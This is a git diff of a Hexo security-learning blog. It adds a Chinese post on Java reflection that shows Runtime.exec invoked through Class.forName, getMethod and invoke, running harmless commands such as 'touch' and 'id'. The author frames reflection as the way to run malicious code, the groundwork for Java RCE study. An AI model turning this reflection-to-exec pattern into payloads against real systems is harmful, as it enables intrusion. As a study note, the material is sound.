+ CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 +
+
+
+
+
+
+ + +
+
+ +
+ + + + + + + + + + + + + + + +
+ +
© 2025 E-Maker
+ + + +
Powered by Hexo Theme - flex-block
+ +
+ 🌞 浅色 + 🌛 深色 + 🤖️ 自动 +
+
+
+
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/2022/09/24/Java\344\271\213\350\267\257-\350\264\260/index.html" "b/2022/09/24/Java\344\271\213\350\267\257-\350\264\260/index.html" new file mode 100644 index 0000000..6cd4e70 --- /dev/null +++ "b/2022/09/24/Java\344\271\213\350\267\257-\350\264\260/index.html" @@ -0,0 +1,403 @@ + + + + + + + + + + + + + + + + + + + + + + + + + Java之路-贰 | E-Maker's Home + + + + + + + + + + + + + + + + + +
+ + +
+ +
+ + + +
+
+ +
+ + + E-Maker's Home + + +
+ +
+
+
+
+
+
+
+ +
首页
+ +
+
+
+
+ + + + + + + + + + + + + + + +
+
+
+
Java之路-贰
+
+ E-Maker + 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java反射
+ +
+
+
+
+ + + + + +
+ + + + +
+
+
+ + + + +
+
Java之路-贰
基础部分看完后，开始JavaWeb的学习，这里跟随着P神的Java漫谈来理解学习
+
反射
+
反射是⼤多数语⾔⾥都必不可少的组成部分，对象可以通过反射获取他的类，类可以通过反射拿到所有⽅法（包括私有），拿到的⽅法可以调⽤，总之过“反射”，我们可以将Java这种静态语⾔附加上动态特性
+
初步理解，反射机制的作用就是调用恶意代码并使其执行，无论是通过获取类(forName)还是获取函数(getMethod)
+
+
获取类
1. obj.getClass()
如果上下⽂中存在某个类的实例obj，那么我们可以直接通过obj.getClass()来获取它的类
+
2. test.class
如果你已经加载了某个类，只是想获取到它的java.lang.Class对象，那么就直接拿它的class属性即可。这个⽅法其实不属于反射
+
3. Class.forName
如果你知道某个类的名字，想获取到这个类，就可以使⽤forName来获取
+
类初始化的调用优先级
`static {…}` > `{…}` > `构造函数`
+
示例代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class fanshe1 {
public void ref(String name) throws Exception {
Class.forName(name);
}

public static void main(String[] args) throws Exception {
fanshe1 f =new fanshe1();
f.ref("TouchFile");
}
//优先级测试
static {
System.out.println("1");
}
{
System.out.println("2");
}
public fanshe1(){
System.out.println("3");
}
}

class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "test1.txt"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
+ +
运行结果
+
输出：1 2 3
+
生成：test1.txt
+
+
获取方法
newInstance
+
class.newInstance()的作用就是调用这个类的无参构造函数
+
+
newInstance不成功的原因：
+
使用的类没有无参构造函数
+
使用的类构造函数是私有的
+
+
示例代码
1
2
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec", String.class).invoke(clazz.newInstance(), "id");
+ +
此时代码是不能执行成功的，是因为Runtime类的构造方法是私有的
+
解决办法
+
getMethod：
+
getMethod的作用是通过反射获取一个类的某个特定的公有方法。
+
Java中支持类的重载，我们不能仅通过函数名来确定一个函数。所以，在调用getMethod的时候，我们需要传给他你需要获取的函数的参数类型列表。
+
+
invoke：
+
invoke的作用是执行方法，它的第一个参数是：
+
+
如果这个方法是一个普通方法，那么第一个参数是类对象
+
+
如果这个方法是一个静态方法，那么第一个参数是类
+
+
+
+
+
示例代码
1
2
3
4
5
6
7
8
9
import java.lang.reflect.InvocationTargetException;

public class fanshe2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class f = Class.forName("java.lang.Runtime");
f.getMethod("exec", String.class).invoke(f.getMethod("getRuntime").invoke(f), "touch qqq.txt");
}

//此种方法命令执行是没有回显的
+ +
运行结果
+
生成qqq.txt
+
+ +
+ + + +
+ + +
+
+ +
+ +
+ + +
Java之路-壹
+ + +
Older
+
+
+
+ +
+ + +
+ + + + + + + + + + +
+
+
+
+
+ + + + +
E-Maker
+ + +
一枚小白
+ + +
+
+ + 13 +
+
+ + 3 +
+
+ + 39 +
+
+
+
+ + +
+
+ + TOC +
+
+
1. 获取类
1.1. 1. obj.getClass()
1.2. 2. test.class
1.3. 3. Class.forName
2. 类初始化的调用优先级
2.1. 示例代码
2.2. 运行结果
3. 获取方法
3.1. newInstance
3.2. newInstance不成功的原因：
3.3. 示例代码
3.4. 解决办法
3.5. 示例代码
3.6. 运行结果
+
+
+ + + +
+
+ + NOTICE +
+
+
博客主题更新，主题详情查看https://github.com/miiiku/flex-block
+
+
+ + +
+
+ + CATEGORYS +
+
+
+ +
+ + 技术博客 (11) + +
+ +
+ + Java (2) + +
+ +
+ + VulnStack (6) + +
+ +
+
+
+ +
+
+ + TAGS +
+
+
+ CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 +
+
+
+
+
+
+ + +
+
+ +
+ + + + + + + + + + + + + + + +
+ +
© 2025 E-Maker
+ + + +
Powered by Hexo Theme - flex-block
+ +
+ 🌞 浅色 + 🌛 深色 + 🤖️ 自动 +
+
+
+
+ +
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/about/index.html b/about/index.html index 670d1ad..1871875 100644 --- a/about/index.html +++ b/about/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -124,7 +124,7 @@
tets

- +
E-Maker
@@ -138,7 +138,7 @@
E-Maker
- 12 + 13

E-Maker

- - VulnStack (6) + + Java (2)

- - 个人博客 (1) + + VulnStack (6)
@@ -211,7 +211,7 @@
E-Maker

- CVE-2020-1472 CVE-2021-44228 CobaltStrike Hexo Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat usage weblogic why windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据 + CVE-2020-1472 CVE-2021-44228 CobaltStrike Java反射 Java基础 Java语法 Log4j2 MSF NTLM RCE Windows认证 access token cobaltstrike cs/msf互转 joomla kerberos ms14-058 ms14-068 ms17-010 ms17-010间接利用 mysql获取webshell phpmyadmin sc命令 struts2 thinkphp5-rce tomcat weblogic windows/linux防火墙 windows命令执行 令牌伪造 信息回显 内网多层网络代理 内网服务 内网靶机 域内提权 渗透测试 白银票据 脏牛 黄金票据

@@ -244,7 +244,7 @@
E-Maker

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2021/06/index.html b/archives/2021/06/index.html index fc9174d..7bf6fac 100644 --- a/archives/2021/06/index.html +++ b/archives/2021/06/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,7 @@
共有12篇文章

-
+

@@ -157,7 +157,7 @@
VulnStack 4

-
+

@@ -195,7 +195,7 @@
VulnStack 3

-
+

@@ -235,7 +235,7 @@
VulnStack 2

-
+

@@ -273,7 +273,7 @@
VulnStack 1

-
+

@@ -321,7 +321,7 @@
渗透常用小命令

-
+

@@ -345,40 +345,6 @@
DNSlog

🏷️ 信息回显
-
-
-
-
- -
-
- -
- - -
- - -
始
- - -
- 发布于 - 2021-06-10 -
-
- -
📒 个人博客
- -
-
- -
🏷️ why
- -
🏷️ usage
- -
🏷️ Hexo
-

@@ -415,7 +381,7 @@
始

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2021/07/index.html b/archives/2021/07/index.html index 02b4843..73bfe74 100644 --- a/archives/2021/07/index.html +++ b/archives/2021/07/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,7 @@
共有12篇文章

-
+

@@ -147,7 +147,7 @@
CVE-2020-1472

-
+

@@ -187,7 +187,7 @@
VulnStack 6

-
+

@@ -257,7 +257,7 @@
VulnStack 5

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2021/08/index.html b/archives/2021/08/index.html index 8de23a5..06d3e23 100644 --- a/archives/2021/08/index.html +++ b/archives/2021/08/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,7 @@
共有12篇文章

-
+

@@ -181,7 +181,7 @@
Windows认证

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2021/index.html b/archives/2021/index.html index 8dc2320..8ed9be8 100644 --- a/archives/2021/index.html +++ b/archives/2021/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,7 @@
共有12篇文章

-
+

@@ -153,7 +153,7 @@
Windows认证

-
+

@@ -189,7 +189,7 @@
CVE-2020-1472

-
+

@@ -229,7 +229,7 @@
VulnStack 6

-
+

@@ -271,7 +271,7 @@
VulnStack 5

-
+

@@ -317,7 +317,7 @@
VulnStack 4

-
+

@@ -355,7 +355,7 @@
VulnStack 3

-
+

@@ -395,7 +395,7 @@
VulnStack 2

-
+

@@ -433,7 +433,7 @@
VulnStack 1

-
+

@@ -481,7 +481,7 @@
渗透常用小命令

-
+

@@ -515,11 +515,6 @@
DNSlog
-
- - 12 ɞ -
- @@ -546,7 +541,7 @@
DNSlog

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2022/03/index.html b/archives/2022/03/index.html index a713839..6f49d0d 100644 --- a/archives/2022/03/index.html +++ b/archives/2022/03/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,7 @@
共有12篇文章

-
+

@@ -171,7 +171,7 @@
CVE-2021-44228 Log4j2复现学习

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2021/page/2/index.html b/archives/2022/09/index.html similarity index 74% rename from archives/2021/page/2/index.html rename to archives/2022/09/index.html index fbce622..dab3a0c 100644 --- a/archives/2021/page/2/index.html +++ b/archives/2022/09/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,31 +111,59 @@
共有12篇文章

-
+

- -
始
+ +
Java之路-贰

发布于 - 2021-06-10 + 2022-09-24

-
📒 个人博客
+
📒 Java

-
🏷️ why
+
🏷️ Java反射
-
🏷️ usage
+
+
+
+
+ +
+
+ +
+ + +
+ + +
Java之路-壹
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
-
🏷️ Hexo
+
+
+ +
🏷️ Java基础
+ +
🏷️ Java语法

@@ -147,11 +175,6 @@
始
-
- - ʚ 12 -
- @@ -178,7 +201,7 @@
始

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/2022/index.html b/archives/2022/index.html index a713839..5619591 100644 --- a/archives/2022/index.html +++ b/archives/2022/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,69 @@
共有12篇文章

-
+
+ + +
+ + +
Java之路-贰
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java反射
+ +
+
+
+
+ +
+
+ +
+ + +
+ + +
Java之路-壹
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java基础
+ +
🏷️ Java语法
+ +
+
+
+
+ +
+
+ +

@@ -171,7 +233,7 @@
CVE-2021-44228 Log4j2复现学习

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/index.html b/archives/index.html index 0eda75a..a22fa2d 100644 --- a/archives/index.html +++ b/archives/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,7 +111,69 @@
共有12篇文章

-
+
+ + +
+ + +
Java之路-贰
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java反射
+ +
+
+
+
+ +
+
+ +
+ + +
+ + +
Java之路-壹
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java基础
+ +
🏷️ Java语法
+ +
+
+
+
+ +
+
+ +

@@ -143,7 +205,7 @@
CVE-2021-44228 Log4j2复现学习

-
+

@@ -185,7 +247,7 @@
Windows认证

-
+

@@ -221,7 +283,7 @@
CVE-2020-1472

-
+

@@ -261,7 +323,7 @@
VulnStack 6

-
+

@@ -303,7 +365,7 @@
VulnStack 5

-
+

@@ -349,7 +411,7 @@
VulnStack 4

-
+

@@ -387,7 +449,7 @@
VulnStack 3

-
+

@@ -419,92 +481,6 @@
VulnStack 2

🏷️ ms14-068
-
-
-
-
- -
-
- -
- - -
- - -
VulnStack 1
- - -
- 发布于 - 2021-06-14 -
-
- -
📒 技术博客
- -
📒 VulnStack
- -
-
- -
🏷️ 渗透测试
- -
🏷️ 内网靶机
- -
🏷️ mysql获取webshell
- -
🏷️ cs/msf互转
- -
-
-
-
- -
-
- -
- - -
- - -
渗透常用小命令
- - -
- 发布于 - 2021-06-12 -
-
- -
📒 技术博客
- -
-
- -
🏷️ 渗透测试
- -
🏷️ ms14-068
- -
🏷️ 黄金票据
- -
🏷️ RCE
- -
🏷️ 内网多层网络代理
- -
🏷️ 内网服务
- -
🏷️ windows/linux防火墙
- -
🏷️ MSF
- -
🏷️ CobaltStrike
- -
🏷️ windows命令执行
-

@@ -546,7 +522,7 @@
渗透常用小命令

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/archives/page/2/index.html b/archives/page/2/index.html index fa00cd0..dea56f3 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -83,7 +83,7 @@

归档
-
共有12篇文章
+
共有13篇文章

@@ -111,29 +111,35 @@
共有12篇文章

-
+

- -
DNSlog
+ +
VulnStack 1

发布于 - 2021-06-12 + 2021-06-14

📒 技术博客
+
📒 VulnStack
+

🏷️ 渗透测试
-
🏷️ 信息回显
+
🏷️ 内网靶机
+ +
🏷️ mysql获取webshell
+ +
🏷️ cs/msf互转

@@ -143,31 +149,77 @@
DNSlog

-
+

- -
始
+ +
渗透常用小命令

发布于 - 2021-06-10 + 2021-06-12

-
📒 个人博客
+
📒 技术博客

-
🏷️ why
+
🏷️ 渗透测试
+ +
🏷️ ms14-068
+ +
🏷️ 黄金票据
+ +
🏷️ RCE
-
🏷️ usage
+
🏷️ 内网多层网络代理
-
🏷️ Hexo
+
🏷️ 内网服务
+ +
🏷️ windows/linux防火墙
+ +
🏷️ MSF
+ +
🏷️ CobaltStrike
+ +
🏷️ windows命令执行
+ +
+
+
+
+ +
+
+ +
+ + +
+ + +
DNSlog
+ + +
+ 发布于 + 2021-06-12 +
+
+ +
📒 技术博客
+ +
+
+ +
🏷️ 渗透测试
+ +
🏷️ 信息回显

@@ -210,7 +262,7 @@
始

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/categories/\344\270\252\344\272\272\345\215\232\345\256\242/index.html" b/categories/Java/index.html similarity index 73% rename from "categories/\344\270\252\344\272\272\345\215\232\345\256\242/index.html" rename to categories/Java/index.html index cf8d218..5bf45a3 100644 --- "a/categories/\344\270\252\344\272\272\345\215\232\345\256\242/index.html" +++ b/categories/Java/index.html @@ -8,7 +8,7 @@ - + @@ -22,7 +22,7 @@ - 分类: 个人博客 | E-Maker's Home + 分类: Java | E-Maker's Home @@ -45,7 +45,7 @@
-
+
@@ -86,8 +86,8 @@

-
个人博客
-
当前分类下共有1篇文章
+
Java
+
当前分类下共有2篇文章

@@ -112,31 +112,59 @@
当前分类下共有1篇文章

-
+

- -
始
+ +
Java之路-贰

发布于 - 2021-06-10 + 2022-09-24

-
📒 个人博客
+
📒 Java

-
🏷️ why
+
🏷️ Java反射
-
🏷️ usage
+
+
+
+
+ +
+
+ +
+ + +
+ + +
Java之路-壹
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java基础
-
🏷️ Hexo
+
🏷️ Java语法

@@ -174,7 +202,7 @@
始

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/VulnStack/index.html" "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/VulnStack/index.html" index dd215a3..c1d9c92 100644 --- "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/VulnStack/index.html" +++ "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/VulnStack/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -112,7 +112,7 @@
当前分类下共有6篇文章

-
+

@@ -152,7 +152,7 @@
VulnStack 6

-
+

@@ -194,7 +194,7 @@
VulnStack 5

-
+

@@ -240,7 +240,7 @@
VulnStack 4

-
+

@@ -278,7 +278,7 @@
VulnStack 3

-
+

@@ -318,7 +318,7 @@
VulnStack 2

-
+

@@ -384,7 +384,7 @@
VulnStack 1

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/index.html" "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/index.html" index 2dc64a4..e9c50ea 100644 --- "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/index.html" +++ "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -112,7 +112,7 @@
当前分类下共有11篇文章

-
+

@@ -144,7 +144,7 @@
CVE-2021-44228 Log4j2复现学习

-
+

@@ -186,7 +186,7 @@
Windows认证

-
+

@@ -222,7 +222,7 @@
CVE-2020-1472

-
+

@@ -262,7 +262,7 @@
VulnStack 6

-
+

@@ -304,7 +304,7 @@
VulnStack 5

-
+

@@ -350,7 +350,7 @@
VulnStack 4

-
+

@@ -388,7 +388,7 @@
VulnStack 3

-
+

@@ -428,7 +428,7 @@
VulnStack 2

-
+

@@ -466,7 +466,7 @@
VulnStack 1

-
+

@@ -547,7 +547,7 @@
渗透常用小命令

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/page/2/index.html" "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/page/2/index.html" index 11db6c0..f9fa297 100644 --- "a/categories/\346\212\200\346\234\257\345\215\232\345\256\242/page/2/index.html" +++ "b/categories/\346\212\200\346\234\257\345\215\232\345\256\242/page/2/index.html" @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -112,7 +112,7 @@
当前分类下共有11篇文章

-
+

@@ -177,7 +177,7 @@
DNSlog

-
© 2022 E-Maker
+
© 2025 E-Maker
diff --git a/index.html b/index.html index 73ed141..1cdb8f4 100644 --- a/index.html +++ b/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@
-
+
@@ -113,7 +113,69 @@
Welcome & Enjoy Here

-
+
+ + +
+ + +
Java之路-贰
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java反射
+ +
+
+
+
+ +
+
+ +
+ + +
+ + +
Java之路-壹
+ + +
+ 发布于 + 2022-09-24 +
+
+ +
📒 Java
+ +
+
+ +
🏷️ Java基础
+ +
🏷️ Java语法
+ +
+
+
+
+ +
+
+ +

@@ -145,7 +207,7 @@
CVE-2021-44228 Log4j2复现学习

-
+

@@ -187,7 +249,7 @@
Windows认证

-
+

@@ -223,7 +285,7 @@
CVE-2020-1472

-
+

@@ -263,7 +325,7 @@
VulnStack 6

-
+

@@ -305,7 +367,7 @@
VulnStack 5

-
+

@@ -351,7 +413,7 @@
VulnStack 4

-
+

@@ -389,7 +451,7 @@
VulnStack 3

-
+

@@ -421,92 +483,6 @@
VulnStack 2

🏷️ ms14-068
-

- -

DNSlog

+ +

VulnStack 1

发布于 - 2021-06-12 + 2021-06-14

@@ -145,31 +151,77 @@

DNSlog

- -

始

+ +

渗透常用小命令

发布于 - 2021-06-10 + 2021-06-12

+ +

+ + +

DNSlog

+ + +

+ 发布于 + 2021-06-12 +

📒 技术博客

🏷️ 渗透测试
🏷️ 信息回显

@@ -212,7 +264,7 @@

始

diff --git a/tags/CVE-2020-1472/index.html b/tags/CVE-2020-1472/index.html index 0abb4e1..ece1485 100644 --- a/tags/CVE-2020-1472/index.html +++ b/tags/CVE-2020-1472/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@

@@ -111,7 +111,7 @@

当前标签下共有1篇文章

@@ -174,7 +174,7 @@

CVE-2020-1472

diff --git a/tags/CVE-2021-44228/index.html b/tags/CVE-2021-44228/index.html index cd99c69..d851d4e 100644 --- a/tags/CVE-2021-44228/index.html +++ b/tags/CVE-2021-44228/index.html @@ -8,7 +8,7 @@ - + @@ -45,7 +45,7 @@

@@ -111,7 +111,7 @@

当前标签下共有1篇文章

@@ -170,7 +170,7 @@

CVE-2021-44228 Log4j2复现学习

diff --git a/tags/why/index.html "b/tags/Java\345\217\215\345\260\204/index.html" similarity index 87% rename from tags/why/index.html rename to "tags/Java\345\217\215\345\260\204/index.html" index 18a939e..541c668 100644 --- a/tags/why/index.html +++ "b/tags/Java\345\217\215\345\260\204/index.html" @@ -8,7 +8,7 @@ - + @@ -22,7 +22,7 @@ - 标签: why | E-Maker's Home + 标签: Java反射 | E-Maker's Home @@ -45,7 +45,7 @@

@@ -89,7 +89,7 @@

why

Java反射

当前标签下共有1篇文章

@@ -111,31 +111,27 @@

当前标签下共有1篇文章

- -

始

+ +

Java之路-贰

发布于 - 2021-06-10 + 2022-09-24

📒 个人博客
📒 Java

@@ -172,7 +168,7 @@

始

diff --git a/tags/usage/index.html "b/tags/Java\345\237\272\347\241\200/index.html" similarity index 86% rename from tags/usage/index.html rename to "tags/Java\345\237\272\347\241\200/index.html" index 8d09e5c..313961e 100644 --- a/tags/usage/index.html +++ "b/tags/Java\345\237\272\347\241\200/index.html" @@ -8,7 +8,7 @@ - + @@ -22,7 +22,7 @@ - 标签: usage | E-Maker's Home + 标签: Java基础 | E-Maker's Home @@ -45,7 +45,7 @@

@@ -89,7 +89,7 @@

usage

Java基础

当前标签下共有1篇文章

@@ -111,31 +111,29 @@

当前标签下共有1篇文章

- -

始

+ +

Java之路-壹

发布于 - 2021-06-10 + 2022-09-24

📒 个人博客
📒 Java

@@ -172,7 +170,7 @@

始

diff --git a/tags/Hexo/index.html "b/tags/Java\350\257\255\346\263\225/index.html" similarity index 86% rename from tags/Hexo/index.html rename to "tags/Java\350\257\255\346\263\225/index.html" index 13caeb4..5a46cea 100644 --- a/tags/Hexo/index.html +++ "b/tags/Java\350\257\255\346\263\225/index.html" @@ -8,7 +8,7 @@ - + @@ -22,7 +22,7 @@ - 标签: Hexo | E-Maker's Home + 标签: Java语法 | E-Maker's Home @@ -45,7 +45,7 @@

@@ -89,7 +89,7 @@

Hexo

Java语法

当前标签下共有1篇文章

@@ -111,31 +111,29 @@

当前标签下共有1篇文章

- -

始

+ +

Java之路-壹

发布于 - 2021-06-10 + 2022-09-24

📒 个人博客
📒 Java

为什么要搭建这个博客站

-
-
最主要的原因还是想备份一下日常学习资料，本地的资料有时会不方便；其次，防止本地资料意外删除；再者，写点东西吧······
-
-

hexo一些基本使用方法

npm install hexo -g   //安装  
npm update hexo -g 	  //升级 
hexo version  	      //查看hexo的版本
hexo init nodejs-hexo   //创建nodejs-hexo 名字的本地文件
hexo init nodejs-hexo    //创建博客
hexo init blog          //初始化，生成文件夹为blog
cd blog  	             //进入blog文件夹
npm install            //安装依赖库
hexo generate           //生成一套静态网页
hexo server         //运行测试,浏览器打开地址，http://localhost:4000/
hexo deploy         //进行部署
hexo new "new article"  //新建文章‘new article’
hexo new page "about"  //新建页面 ‘about’
hexo n "我的博客"` == `hexo new` "我的博客"    //新建文章
hexo g == hexo generate        //生成`
hexo s == hexo server          //启动服务预览
hexo d == hexo deploy          //部署

- -

hexo文章头编写

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

配置选项	默认值	描述
title	Markdown 的文件标题	文章标题，强烈建议填写此选项
date	文件创建时的日期时间	发布时间，强烈建议填写此选项，且最好保证全局唯一
author	根 _config.yml 中的 author	文章作者
img	featureImages 中的某个值	文章特征图，推荐使用图床(腾讯云、七牛云、又拍云等)来做图片的路径.如: http://xxx.com/xxx.jpg
top	true	推荐文章（文章是否置顶），如果 top 值为 true，则会作为首页推荐文章
hide	false	隐藏文章，如果hide值为true，则文章不会在首页显示
cover	false	v1.0.2版本新增，表示该文章是否需要加入到首页轮播封面中
coverImg	无	v1.0.2版本新增，表示该文章在首页轮播封面需要显示的图片路径，如果没有，则默认使用文章的特色图片
password	无	文章阅读密码，如果要对文章设置阅读验证密码的话，就可以设置 password 的值，该值必须是用 SHA256 加密后的密码，防止被他人识破。前提是在主题的 config.yml 中激活了 verifyPassword 选项
toc	true	是否开启 TOC，可以针对某篇文章单独关闭 TOC 的功能。前提是在主题的 config.yml 中激活了 toc 选项
mathjax	false	是否开启数学公式支持，本文章是否开启 mathjax，且需要在主题的 _config.yml 文件中也需要开启才行
summary	无	文章摘要，自定义的文章摘要内容，如果这个属性有值，文章卡片摘要就显示这段文字，否则程序会自动截取文章的部分内容作为摘要
categories	无	文章分类，本主题的分类表示宏观上大的分类，只建议一篇文章一个分类
tags	无	文章标签，一篇文章可以多个标签
keywords	文章标题	文章关键字，SEO 时需要
reprintPolicy	cc_by	文章转载规则，可以是 cc_by, cc_by_nd, cc_by_sa, cc_by_nc, cc_by_nc_nd, cc_by_nc_sa, cc0, noreprint 或 pay 中的一个

End

-
-
结束，测试成功。比预计的效果好！
-
-

- +

- - - -

- - - - - - - - - - -

修饰符	当前类	同一包内	子孙类(同一包)	子孙类(不同包)	其他包
`public`	Y	Y	Y	Y	Y
`protected`	Y	Y	Y	Y/N	N
`default`	Y	Y	Y	N	N
`private`	Y	N	N	N	N

区别点	重载方法	重写方法
参数列表	必须修改	一定不能修改
返回类型	可以修改	一定不能修改
异常	可以修改	可以减少或删除，一定不能抛出新的或者更广的异常
访问	可以修改	一定不能做更严格的限制（可以降低限制）